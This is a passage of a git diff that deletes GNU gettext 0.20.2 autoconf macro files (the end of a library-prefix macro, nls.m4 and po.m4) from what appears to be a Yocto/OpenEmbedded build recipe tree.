- eval acl_final_exec_prefix=\"$acl_final_exec_prefix\"
- prefix="$acl_save_prefix"
-])
-
-dnl AC_LIB_WITH_FINAL_PREFIX([statement]) evaluates statement, with the
-dnl variables prefix and exec_prefix bound to the values they will have
-dnl at the end of the configure script.
-AC_DEFUN([AC_LIB_WITH_FINAL_PREFIX],
-[
- acl_save_prefix="$prefix"
- prefix="$acl_final_prefix"
- acl_save_exec_prefix="$exec_prefix"
- exec_prefix="$acl_final_exec_prefix"
- $1
- exec_prefix="$acl_save_exec_prefix"
- prefix="$acl_save_prefix"
-])
-
-dnl AC_LIB_PREPARE_MULTILIB creates
-dnl - a function acl_is_expected_elfclass, that tests whether standard input
-dn; has a 32-bit or 64-bit ELF header, depending on the host CPU ABI,
-dnl - 3 variables acl_libdirstem, acl_libdirstem2, acl_libdirstem3, containing
-dnl the basename of the libdir to try in turn, either "lib" or "lib64" or
-dnl "lib/64" or "lib32" or "lib/sparcv9" or "lib/amd64" or similar.
-AC_DEFUN([AC_LIB_PREPARE_MULTILIB],
-[
- dnl There is no formal standard regarding lib, lib32, and lib64.
- dnl On most glibc systems, the current practice is that on a system supporting
- dnl 32-bit and 64-bit instruction sets or ABIs, 64-bit libraries go under
- dnl $prefix/lib64 and 32-bit libraries go under $prefix/lib. However, on
- dnl Arch Linux based distributions, it's the opposite: 32-bit libraries go
- dnl under $prefix/lib32 and 64-bit libraries go under $prefix/lib.
- dnl We determine the compiler's default mode by looking at the compiler's
- dnl library search path. If at least one of its elements ends in /lib64 or
- dnl points to a directory whose absolute pathname ends in /lib64, we use that
- dnl for 64-bit ABIs. Similarly for 32-bit ABIs. Otherwise we use the default,
- dnl namely "lib".
- dnl On Solaris systems, the current practice is that on a system supporting
- dnl 32-bit and 64-bit instruction sets or ABIs, 64-bit libraries go under
- dnl $prefix/lib/64 (which is a symlink to either $prefix/lib/sparcv9 or
- dnl $prefix/lib/amd64) and 32-bit libraries go under $prefix/lib.
- AC_REQUIRE([AC_CANONICAL_HOST])
- AC_REQUIRE([gl_HOST_CPU_C_ABI_32BIT])
-
- AC_CACHE_CHECK([for ELF binary format], [gl_cv_elf],
- [AC_EGREP_CPP([Extensible Linking Format],
- [#ifdef __ELF__
- Extensible Linking Format
- #endif
- ],
- [gl_cv_elf=yes],
- [gl_cv_elf=no])
- ])
- if test $gl_cv_elf; then
- # Extract the ELF class of a file (5th byte) in decimal.
- # Cf. https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#File_header
- if od -A x < /dev/null >/dev/null 2>/dev/null; then
- # Use POSIX od.
- func_elfclass ()
- {
- od -A n -t d1 -j 4 -N 1
- }
- else
- # Use BSD hexdump.
- func_elfclass ()
- {
- dd bs=1 count=1 skip=4 2>/dev/null | hexdump -e '1/1 "%3d "'
- echo
- }
- fi
-changequote(,)dnl
- case $HOST_CPU_C_ABI_32BIT in
- yes)
- # 32-bit ABI.
- acl_is_expected_elfclass ()
- {
- test "`func_elfclass | sed -e 's/[ ]//g'`" = 1
- }
- ;;
- no)
- # 64-bit ABI.
- acl_is_expected_elfclass ()
- {
- test "`func_elfclass | sed -e 's/[ ]//g'`" = 2
- }
- ;;
- *)
- # Unknown.
- acl_is_expected_elfclass ()
- {
- :
- }
- ;;
- esac
-changequote([,])dnl
- else
- acl_is_expected_elfclass ()
- {
- :
- }
- fi
-
- dnl Allow the user to override the result by setting acl_cv_libdirstems.
- AC_CACHE_CHECK([for the common suffixes of directories in the library search path],
- [acl_cv_libdirstems],
- [dnl Try 'lib' first, because that's the default for libdir in GNU, see
- dnl <https://www.gnu.org/prep/standards/html_node/Directory-Variables.html>.
- acl_libdirstem=lib
- acl_libdirstem2=
- acl_libdirstem3=
- case "$host_os" in
- solaris*)
- dnl See Solaris 10 Software Developer Collection > Solaris 64-bit Developer's Guide > The Development Environment
- dnl <https://docs.oracle.com/cd/E19253-01/816-5138/dev-env/index.html>.
- dnl "Portable Makefiles should refer to any library directories using the 64 symbolic link."
- dnl But we want to recognize the sparcv9 or amd64 subdirectory also if the
- dnl symlink is missing, so we set acl_libdirstem2 too.
- if test $HOST_CPU_C_ABI_32BIT = no; then
- acl_libdirstem2=lib/64
- case "$host_cpu" in
- sparc*) acl_libdirstem3=lib/sparcv9 ;;
- i*86 | x86_64) acl_libdirstem3=lib/amd64 ;;
- esac
- fi
- ;;
- *)
- dnl If $CC generates code for a 32-bit ABI, the libraries are
- dnl surely under $prefix/lib or $prefix/lib32, not $prefix/lib64.
- dnl Similarly, if $CC generates code for a 64-bit ABI, the libraries
- dnl are surely under $prefix/lib or $prefix/lib64, not $prefix/lib32.
- dnl Find the compiler's search path. However, non-system compilers
- dnl sometimes have odd library search paths. But we can't simply invoke
- dnl '/usr/bin/gcc -print-search-dirs' because that would not take into
- dnl account the -m32/-m31 or -m64 options from the $CC or $CFLAGS.
- searchpath=`(LC_ALL=C $CC $CPPFLAGS $CFLAGS -print-search-dirs) 2>/dev/null \
- | sed -n -e 's,^libraries: ,,p' | sed -e 's,^=,,'`
- if test $HOST_CPU_C_ABI_32BIT != no; then
- # 32-bit or unknown ABI.
- if test -d /usr/lib32; then
- acl_libdirstem2=lib32
- fi
- fi
- if test $HOST_CPU_C_ABI_32BIT != yes; then
- # 64-bit or unknown ABI.
- if test -d /usr/lib64; then
- acl_libdirstem3=lib64
- fi
- fi
- if test -n "$searchpath"; then
- acl_save_IFS="${IFS= }"; IFS=":"
- for searchdir in $searchpath; do
- if test -d "$searchdir"; then
- case "$searchdir" in
- */lib32/ | */lib32 ) acl_libdirstem2=lib32 ;;
- */lib64/ | */lib64 ) acl_libdirstem3=lib64 ;;
- */../ | */.. )
- # Better ignore directories of this form. They are misleading.
- ;;
- *) searchdir=`cd "$searchdir" && pwd`
- case "$searchdir" in
- */lib32 ) acl_libdirstem2=lib32 ;;
- */lib64 ) acl_libdirstem3=lib64 ;;
- esac ;;
- esac
- fi
- done
- IFS="$acl_save_IFS"
- if test $HOST_CPU_C_ABI_32BIT = yes; then
- # 32-bit ABI.
- acl_libdirstem3=
- fi
- if test $HOST_CPU_C_ABI_32BIT = no; then
- # 64-bit ABI.
- acl_libdirstem2=
- fi
- fi
- ;;
- esac
- test -n "$acl_libdirstem2" || acl_libdirstem2="$acl_libdirstem"
- test -n "$acl_libdirstem3" || acl_libdirstem3="$acl_libdirstem"
- acl_cv_libdirstems="$acl_libdirstem,$acl_libdirstem2,$acl_libdirstem3"
- ])
- dnl Decompose acl_cv_libdirstems into acl_libdirstem, acl_libdirstem2, and
- dnl acl_libdirstem3.
-changequote(,)dnl
- acl_libdirstem=`echo "$acl_cv_libdirstems" | sed -e 's/,.*//'`
- acl_libdirstem2=`echo "$acl_cv_libdirstems" | sed -e 's/^[^,]*,//' -e 's/,.*//'`
- acl_libdirstem3=`echo "$acl_cv_libdirstems" | sed -e 's/^[^,]*,[^,]*,//' -e 's/,.*//'`
-changequote([,])dnl
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/nls.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/nls.m4
deleted file mode 100644
index 5a506fc4b5..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/nls.m4
+++ /dev/null
@@ -1,32 +0,0 @@
-# nls.m4 serial 6 (gettext-0.20.2)
-dnl Copyright (C) 1995-2003, 2005-2006, 2008-2014, 2016, 2019-2020 Free
-dnl Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-dnl
-dnl This file can be used in projects which are not available under
-dnl the GNU General Public License or the GNU Lesser General Public
-dnl License but which still want to provide support for the GNU gettext
-dnl functionality.
-dnl Please note that the actual code of the GNU gettext library is covered
-dnl by the GNU Lesser General Public License, and the rest of the GNU
-dnl gettext package is covered by the GNU General Public License.
-dnl They are *not* in the public domain.
-
-dnl Authors:
-dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
-dnl Bruno Haible <haible@clisp.cons.org>, 2000-2003.
-
-AC_PREREQ([2.50])
-
-AC_DEFUN([AM_NLS],
-[
- AC_MSG_CHECKING([whether NLS is requested])
- dnl Default is enabled NLS
- AC_ARG_ENABLE([nls],
- [ --disable-nls do not use Native Language Support],
- USE_NLS=$enableval, USE_NLS=yes)
- AC_MSG_RESULT([$USE_NLS])
- AC_SUBST([USE_NLS])
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/po.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/po.m4
deleted file mode 100644
index 3778fd7aac..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/po.m4
+++ /dev/null
@@ -1,450 +0,0 @@
-# po.m4 serial 31 (gettext-0.20.2)
-dnl Copyright (C) 1995-2014, 2016, 2018-2020 Free Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-dnl
-dnl This file can be used in projects which are not available under
-dnl the GNU General Public License or the GNU Lesser General Public
-dnl License but which still want to provide support for the GNU gettext
-dnl functionality.
-dnl Please note that the actual code of the GNU gettext library is covered
-dnl by the GNU Lesser General Public License, and the rest of the GNU
-dnl gettext package is covered by the GNU General Public License.
-dnl They are *not* in the public domain.
-
-dnl Authors:
-dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
-dnl Bruno Haible <haible@clisp.cons.org>, 2000-2003.
-
-AC_PREREQ([2.60])
-
-dnl Checks for all prerequisites of the po subdirectory.
-AC_DEFUN([AM_PO_SUBDIRS],
-[
- AC_REQUIRE([AC_PROG_MAKE_SET])dnl
- AC_REQUIRE([AC_PROG_INSTALL])dnl
- AC_REQUIRE([AC_PROG_MKDIR_P])dnl
- AC_REQUIRE([AC_PROG_SED])dnl
- AC_REQUIRE([AM_NLS])dnl
-
- dnl Release version of the gettext macros. This is used to ensure that
- dnl the gettext macros and po/Makefile.in.in are in sync.
- AC_SUBST([GETTEXT_MACRO_VERSION], [0.20])
-
- dnl Perform the following tests also if --disable-nls has been given,
- dnl because they are needed for "make dist" to work.
-
- dnl Search for GNU msgfmt in the PATH.
- dnl The first test excludes Solaris msgfmt and early GNU msgfmt versions.
- dnl The second test excludes FreeBSD msgfmt.
- AM_PATH_PROG_WITH_TEST(MSGFMT, msgfmt,
- [$ac_dir/$ac_word --statistics /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1 &&
- (if $ac_dir/$ac_word --statistics /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi)],
- :)
- AC_PATH_PROG([GMSGFMT], [gmsgfmt], [$MSGFMT])
-
- dnl Test whether it is GNU msgfmt >= 0.15.
-changequote(,)dnl
- case `$GMSGFMT --version | sed 1q | sed -e 's,^[^0-9]*,,'` in
- '' | 0.[0-9] | 0.[0-9].* | 0.1[0-4] | 0.1[0-4].*) GMSGFMT_015=: ;;
- *) GMSGFMT_015=$GMSGFMT ;;
- esac
-changequote([,])dnl
- AC_SUBST([GMSGFMT_015])
-
- dnl Search for GNU xgettext 0.12 or newer in the PATH.
- dnl The first test excludes Solaris xgettext and early GNU xgettext versions.
- dnl The second test excludes FreeBSD xgettext.
- AM_PATH_PROG_WITH_TEST(XGETTEXT, xgettext,
- [$ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1 &&
- (if $ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi)],
- :)
- dnl Remove leftover from FreeBSD xgettext call.
- rm -f messages.po
-
- dnl Test whether it is GNU xgettext >= 0.15.
-changequote(,)dnl
- case `$XGETTEXT --version | sed 1q | sed -e 's,^[^0-9]*,,'` in
- '' | 0.[0-9] | 0.[0-9].* | 0.1[0-4] | 0.1[0-4].*) XGETTEXT_015=: ;;
- *) XGETTEXT_015=$XGETTEXT ;;
- esac
-changequote([,])dnl
- AC_SUBST([XGETTEXT_015])
-
- dnl Search for GNU msgmerge 0.11 or newer in the PATH.
- AM_PATH_PROG_WITH_TEST(MSGMERGE, msgmerge,
- [$ac_dir/$ac_word --update -q /dev/null /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1], :)
-
- dnl Test whether it is GNU msgmerge >= 0.20.
- if LC_ALL=C $MSGMERGE --help | grep ' --for-msgfmt ' >/dev/null; then
- MSGMERGE_FOR_MSGFMT_OPTION='--for-msgfmt'
- else
- dnl Test whether it is GNU msgmerge >= 0.12.
- if LC_ALL=C $MSGMERGE --help | grep ' --no-fuzzy-matching ' >/dev/null; then
- MSGMERGE_FOR_MSGFMT_OPTION='--no-fuzzy-matching --no-location --quiet'
- else
- dnl With these old versions, $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) is
- dnl slow. But this is not a big problem, as such old gettext versions are
- dnl hardly in use any more.
- MSGMERGE_FOR_MSGFMT_OPTION='--no-location --quiet'
- fi
- fi
- AC_SUBST([MSGMERGE_FOR_MSGFMT_OPTION])
-
- dnl Support for AM_XGETTEXT_OPTION.
- test -n "${XGETTEXT_EXTRA_OPTIONS+set}" || XGETTEXT_EXTRA_OPTIONS=
- AC_SUBST([XGETTEXT_EXTRA_OPTIONS])
-
- AC_CONFIG_COMMANDS([po-directories], [[
- for ac_file in $CONFIG_FILES; do
- # Support "outfile[:infile[:infile...]]"
- case "$ac_file" in
- *:*) ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;;
- esac
- # PO directories have a Makefile.in generated from Makefile.in.in.
- case "$ac_file" in */Makefile.in)
- # Adjust a relative srcdir.
- ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'`
- ac_dir_suffix=/`echo "$ac_dir"|sed 's%^\./%%'`
- ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'`
- # In autoconf-2.13 it is called $ac_given_srcdir.
- # In autoconf-2.50 it is called $srcdir.
- test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir"
- case "$ac_given_srcdir" in
- .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;;
- /*) top_srcdir="$ac_given_srcdir" ;;
- *) top_srcdir="$ac_dots$ac_given_srcdir" ;;
- esac
- # Treat a directory as a PO directory if and only if it has a
- # POTFILES.in file. This allows packages to have multiple PO
- # directories under different names or in different locations.
- if test -f "$ac_given_srcdir/$ac_dir/POTFILES.in"; then
- rm -f "$ac_dir/POTFILES"
- test -n "$as_me" && echo "$as_me: creating $ac_dir/POTFILES" || echo "creating $ac_dir/POTFILES"
- gt_tab=`printf '\t'`
- cat "$ac_given_srcdir/$ac_dir/POTFILES.in" | sed -e "/^#/d" -e "/^[ ${gt_tab}]*\$/d" -e "s,.*, $top_srcdir/& \\\\," | sed -e "\$s/\(.*\) \\\\/\1/" > "$ac_dir/POTFILES"
- POMAKEFILEDEPS="POTFILES.in"
- # ALL_LINGUAS, POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES depend
- # on $ac_dir but don't depend on user-specified configuration
- # parameters.
- if test -f "$ac_given_srcdir/$ac_dir/LINGUAS"; then
- # The LINGUAS file contains the set of available languages.
- if test -n "$OBSOLETE_ALL_LINGUAS"; then
- test -n "$as_me" && echo "$as_me: setting ALL_LINGUAS in configure.in is obsolete" || echo "setting ALL_LINGUAS in configure.in is obsolete"
- fi
- ALL_LINGUAS=`sed -e "/^#/d" -e "s/#.*//" "$ac_given_srcdir/$ac_dir/LINGUAS"`
- POMAKEFILEDEPS="$POMAKEFILEDEPS LINGUAS"
- else
- # The set of available languages was given in configure.in.
- ALL_LINGUAS=$OBSOLETE_ALL_LINGUAS
- fi
- # Compute POFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).po)
- # Compute UPDATEPOFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(lang).po-update)
- # Compute DUMMYPOFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(lang).nop)
- # Compute GMOFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).gmo)
- case "$ac_given_srcdir" in
- .) srcdirpre= ;;
- *) srcdirpre='$(srcdir)/' ;;
- esac
- POFILES=
- UPDATEPOFILES=
- DUMMYPOFILES=
- GMOFILES=
- for lang in $ALL_LINGUAS; do
- POFILES="$POFILES $srcdirpre$lang.po"
- UPDATEPOFILES="$UPDATEPOFILES $lang.po-update"
- DUMMYPOFILES="$DUMMYPOFILES $lang.nop"
- GMOFILES="$GMOFILES $srcdirpre$lang.gmo"
- done
- # CATALOGS depends on both $ac_dir and the user's LINGUAS
- # environment variable.
- INST_LINGUAS=
- if test -n "$ALL_LINGUAS"; then
- for presentlang in $ALL_LINGUAS; do
- useit=no
- if test "%UNSET%" != "$LINGUAS"; then
- desiredlanguages="$LINGUAS"
- else
- desiredlanguages="$ALL_LINGUAS"
- fi
- for desiredlang in $desiredlanguages; do
- # Use the presentlang catalog if desiredlang is
- # a. equal to presentlang, or
- # b. a variant of presentlang (because in this case,
- # presentlang can be used as a fallback for messages
- # which are not translated in the desiredlang catalog).
- case "$desiredlang" in
- "$presentlang"*) useit=yes;;
- esac
- done
- if test $useit = yes; then
- INST_LINGUAS="$INST_LINGUAS $presentlang"
- fi
- done
- fi
- CATALOGS=
- if test -n "$INST_LINGUAS"; then
- for lang in $INST_LINGUAS; do
- CATALOGS="$CATALOGS $lang.gmo"
- done
- fi
- test -n "$as_me" && echo "$as_me: creating $ac_dir/Makefile" || echo "creating $ac_dir/Makefile"
- sed -e "/^POTFILES =/r $ac_dir/POTFILES" -e "/^# Makevars/r $ac_given_srcdir/$ac_dir/Makevars" -e "s|@POFILES@|$POFILES|g" -e "s|@UPDATEPOFILES@|$UPDATEPOFILES|g" -e "s|@DUMMYPOFILES@|$DUMMYPOFILES|g" -e "s|@GMOFILES@|$GMOFILES|g" -e "s|@CATALOGS@|$CATALOGS|g" -e "s|@POMAKEFILEDEPS@|$POMAKEFILEDEPS|g" "$ac_dir/Makefile.in" > "$ac_dir/Makefile"
- for f in "$ac_given_srcdir/$ac_dir"/Rules-*; do
- if test -f "$f"; then
- case "$f" in
- *.orig | *.bak | *~) ;;
- *) cat "$f" >> "$ac_dir/Makefile" ;;
- esac
- fi
- done
- fi
- ;;
- esac
- done]],
- [# Capture the value of obsolete ALL_LINGUAS because we need it to compute
- # POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES, CATALOGS.
- OBSOLETE_ALL_LINGUAS="$ALL_LINGUAS"
- # Capture the value of LINGUAS because we need it to compute CATALOGS.
- LINGUAS="${LINGUAS-%UNSET%}"
- ])
-])
-
-dnl Postprocesses a Makefile in a directory containing PO files.
-AC_DEFUN([AM_POSTPROCESS_PO_MAKEFILE],
-[
- # When this code is run, in config.status, two variables have already been
- # set:
- # - OBSOLETE_ALL_LINGUAS is the value of LINGUAS set in configure.in,
- # - LINGUAS is the value of the environment variable LINGUAS at configure
- # time.
-
-changequote(,)dnl
- # Adjust a relative srcdir.
- ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'`
- ac_dir_suffix=/`echo "$ac_dir"|sed 's%^\./%%'`
- ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'`
- # In autoconf-2.13 it is called $ac_given_srcdir.
- # In autoconf-2.50 it is called $srcdir.
- test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir"
- case "$ac_given_srcdir" in
- .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;;
- /*) top_srcdir="$ac_given_srcdir" ;;
- *) top_srcdir="$ac_dots$ac_given_srcdir" ;;
- esac
-
- # Find a way to echo strings without interpreting backslash.
- if test "X`(echo '\t') 2>/dev/null`" = 'X\t'; then
- gt_echo='echo'
- else
- if test "X`(printf '%s\n' '\t') 2>/dev/null`" = 'X\t'; then
- gt_echo='printf %s\n'
- else
- echo_func () {
- cat <<EOT
-$*
-EOT
- }
- gt_echo='echo_func'
- fi
- fi
-
- # A sed script that extracts the value of VARIABLE from a Makefile.
- tab=`printf '\t'`
- sed_x_variable='
-# Test if the hold space is empty.
-x
-s/P/P/
-x
-ta
-# Yes it was empty. Look if we have the expected variable definition.
-/^['"${tab}"' ]*VARIABLE['"${tab}"' ]*=/{
- # Seen the first line of the variable definition.
- s/^['"${tab}"' ]*VARIABLE['"${tab}"' ]*=//
- ba
-}
-bd
-:a
-# Here we are processing a line from the variable definition.
-# Remove comment, more precisely replace it with a space.
-s/#.*$/ /
-# See if the line ends in a backslash.
-tb
-:b
-s/\\$//
-# Print the line, without the trailing backslash.
-p
-tc
-# There was no trailing backslash. The end of the variable definition is
-# reached. Clear the hold space.
-s/^.*$//
-x
-bd
-:c
-# A trailing backslash means that the variable definition continues in the
-# next line. Put a nonempty string into the hold space to indicate this.
-s/^.*$/P/
-x
-:d
-'
-changequote([,])dnl
-
- # Set POTFILES to the value of the Makefile variable POTFILES.
- sed_x_POTFILES=`$gt_echo "$sed_x_variable" | sed -e '/^ *#/d' -e 's/VARIABLE/POTFILES/g'`
- POTFILES=`sed -n -e "$sed_x_POTFILES" < "$ac_file"`
- # Compute POTFILES_DEPS as
- # $(foreach file, $(POTFILES), $(top_srcdir)/$(file))
- POTFILES_DEPS=
- for file in $POTFILES; do
- POTFILES_DEPS="$POTFILES_DEPS "'$(top_srcdir)/'"$file"
- done
- POMAKEFILEDEPS=""
-
- if test -n "$OBSOLETE_ALL_LINGUAS"; then
- test -n "$as_me" && echo "$as_me: setting ALL_LINGUAS in configure.in is obsolete" || echo "setting ALL_LINGUAS in configure.in is obsolete"
- fi
- if test -f "$ac_given_srcdir/$ac_dir/LINGUAS"; then
- # The LINGUAS file contains the set of available languages.
- ALL_LINGUAS=`sed -e "/^#/d" -e "s/#.*//" "$ac_given_srcdir/$ac_dir/LINGUAS"`
- POMAKEFILEDEPS="$POMAKEFILEDEPS LINGUAS"
- else
- # Set ALL_LINGUAS to the value of the Makefile variable LINGUAS.
- sed_x_LINGUAS=`$gt_echo "$sed_x_variable" | sed -e '/^ *#/d' -e 's/VARIABLE/LINGUAS/g'`
- ALL_LINGUAS=`sed -n -e "$sed_x_LINGUAS" < "$ac_file"`
- fi
- # Compute POFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).po)
- # Compute UPDATEPOFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(lang).po-update)
- # Compute DUMMYPOFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(lang).nop)
- # Compute GMOFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).gmo)
- # Compute PROPERTIESFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(DOMAIN)_$(lang).properties)
- # Compute CLASSFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(DOMAIN)_$(lang).class)
- # Compute QMFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).qm)
- # Compute MSGFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(frob $(lang)).msg)
- # Compute RESOURCESDLLFILES
- # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(frob $(lang))/$(DOMAIN).resources.dll)
- case "$ac_given_srcdir" in
- .) srcdirpre= ;;
- *) srcdirpre='$(srcdir)/' ;;
- esac
- POFILES=
- UPDATEPOFILES=
- DUMMYPOFILES=
- GMOFILES=
- PROPERTIESFILES=
- CLASSFILES=
- QMFILES=
- MSGFILES=
- RESOURCESDLLFILES=
- for lang in $ALL_LINGUAS; do
- POFILES="$POFILES $srcdirpre$lang.po"
- UPDATEPOFILES="$UPDATEPOFILES $lang.po-update"
- DUMMYPOFILES="$DUMMYPOFILES $lang.nop"
- GMOFILES="$GMOFILES $srcdirpre$lang.gmo"
- PROPERTIESFILES="$PROPERTIESFILES \$(srcdir)/\$(DOMAIN)_$lang.properties"
- CLASSFILES="$CLASSFILES \$(srcdir)/\$(DOMAIN)_$lang.class"
- QMFILES="$QMFILES $srcdirpre$lang.qm"
- frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
- MSGFILES="$MSGFILES $srcdirpre$frobbedlang.msg"
- frobbedlang=`echo $lang | sed -e 's/_/-/g' -e 's/^sr-CS/sr-SP/' -e 's/@latin$/-Latn/' -e 's/@cyrillic$/-Cyrl/' -e 's/^sr-SP$/sr-SP-Latn/' -e 's/^uz-UZ$/uz-UZ-Latn/'`
- RESOURCESDLLFILES="$RESOURCESDLLFILES $srcdirpre$frobbedlang/\$(DOMAIN).resources.dll"
- done
- # CATALOGS depends on both $ac_dir and the user's LINGUAS
- # environment variable.
- INST_LINGUAS=
- if test -n "$ALL_LINGUAS"; then
- for presentlang in $ALL_LINGUAS; do
- useit=no
- if test "%UNSET%" != "$LINGUAS"; then
- desiredlanguages="$LINGUAS"
- else
- desiredlanguages="$ALL_LINGUAS"
- fi
- for desiredlang in $desiredlanguages; do
- # Use the presentlang catalog if desiredlang is
- # a. equal to presentlang, or
- # b. a variant of presentlang (because in this case,
- # presentlang can be used as a fallback for messages
- # which are not translated in the desiredlang catalog).
- case "$desiredlang" in
- "$presentlang"*) useit=yes;;
- esac
- done
- if test $useit = yes; then
- INST_LINGUAS="$INST_LINGUAS $presentlang"
- fi
- done
- fi
- CATALOGS=
- JAVACATALOGS=
- QTCATALOGS=
- TCLCATALOGS=
- CSHARPCATALOGS=
- if test -n "$INST_LINGUAS"; then
- for lang in $INST_LINGUAS; do
- CATALOGS="$CATALOGS $lang.gmo"
- JAVACATALOGS="$JAVACATALOGS \$(DOMAIN)_$lang.properties"
- QTCATALOGS="$QTCATALOGS $lang.qm"
- frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
- TCLCATALOGS="$TCLCATALOGS $frobbedlang.msg"
- frobbedlang=`echo $lang | sed -e 's/_/-/g' -e 's/^sr-CS/sr-SP/' -e 's/@latin$/-Latn/' -e 's/@cyrillic$/-Cyrl/' -e 's/^sr-SP$/sr-SP-Latn/' -e 's/^uz-UZ$/uz-UZ-Latn/'`
- CSHARPCATALOGS="$CSHARPCATALOGS $frobbedlang/\$(DOMAIN).resources.dll"
- done
- fi
-
- sed -e "s|@POTFILES_DEPS@|$POTFILES_DEPS|g" -e "s|@POFILES@|$POFILES|g" -e "s|@UPDATEPOFILES@|$UPDATEPOFILES|g" -e "s|@DUMMYPOFILES@|$DUMMYPOFILES|g" -e "s|@GMOFILES@|$GMOFILES|g" -e "s|@PROPERTIESFILES@|$PROPERTIESFILES|g" -e "s|@CLASSFILES@|$CLASSFILES|g" -e "s|@QMFILES@|$QMFILES|g" -e "s|@MSGFILES@|$MSGFILES|g" -e "s|@RESOURCESDLLFILES@|$RESOURCESDLLFILES|g" -e "s|@CATALOGS@|$CATALOGS|g" -e "s|@JAVACATALOGS@|$JAVACATALOGS|g" -e "s|@QTCATALOGS@|$QTCATALOGS|g" -e "s|@TCLCATALOGS@|$TCLCATALOGS|g" -e "s|@CSHARPCATALOGS@|$CSHARPCATALOGS|g" -e 's,^#distdir:,distdir:,' < "$ac_file" > "$ac_file.tmp"
- tab=`printf '\t'`
- if grep -l '@TCLCATALOGS@' "$ac_file" > /dev/null; then
- # Add dependencies that cannot be formulated as a simple suffix rule.
- for lang in $ALL_LINGUAS; do
- frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
- cat >> "$ac_file.tmp" <<EOF
-$frobbedlang.msg: $lang.po
-${tab}@echo "\$(MSGFMT) -c --tcl -d \$(srcdir) -l $lang $srcdirpre$lang.po"; \
-${tab}\$(MSGFMT) -c --tcl -d "\$(srcdir)" -l $lang $srcdirpre$lang.po || { rm -f "\$(srcdir)/$frobbedlang.msg"; exit 1; }
-EOF
- done
- fi
- if grep -l '@CSHARPCATALOGS@' "$ac_file" > /dev/null; then
- # Add dependencies that cannot be formulated as a simple suffix rule.
- for lang in $ALL_LINGUAS; do
- frobbedlang=`echo $lang | sed -e 's/_/-/g' -e 's/^sr-CS/sr-SP/' -e 's/@latin$/-Latn/' -e 's/@cyrillic$/-Cyrl/' -e 's/^sr-SP$/sr-SP-Latn/' -e 's/^uz-UZ$/uz-UZ-Latn/'`
- cat >> "$ac_file.tmp" <<EOF
-$frobbedlang/\$(DOMAIN).resources.dll: $lang.po
-${tab}@echo "\$(MSGFMT) -c --csharp -d \$(srcdir) -l $lang $srcdirpre$lang.po -r \$(DOMAIN)"; \
-${tab}\$(MSGFMT) -c --csharp -d "\$(srcdir)" -l $lang $srcdirpre$lang.po -r "\$(DOMAIN)" || { rm -f "\$(srcdir)/$frobbedlang.msg"; exit 1; }
-EOF
- done
- fi
- if test -n "$POMAKEFILEDEPS"; then
- cat >> "$ac_file.tmp" <<EOF
-Makefile: $POMAKEFILEDEPS
-EOF
- fi
- mv "$ac_file.tmp" "$ac_file"
-])
-
-dnl Initializes the accumulator used by AM_XGETTEXT_OPTION.
-AC_DEFUN([AM_XGETTEXT_OPTION_INIT],
-[
- XGETTEXT_EXTRA_OPTIONS=
-])
-
-dnl Registers an option to be passed to xgettext in the po subdirectory.
-AC_DEFUN([AM_XGETTEXT_OPTION],
-[
- AC_REQUIRE([AM_XGETTEXT_OPTION_INIT])
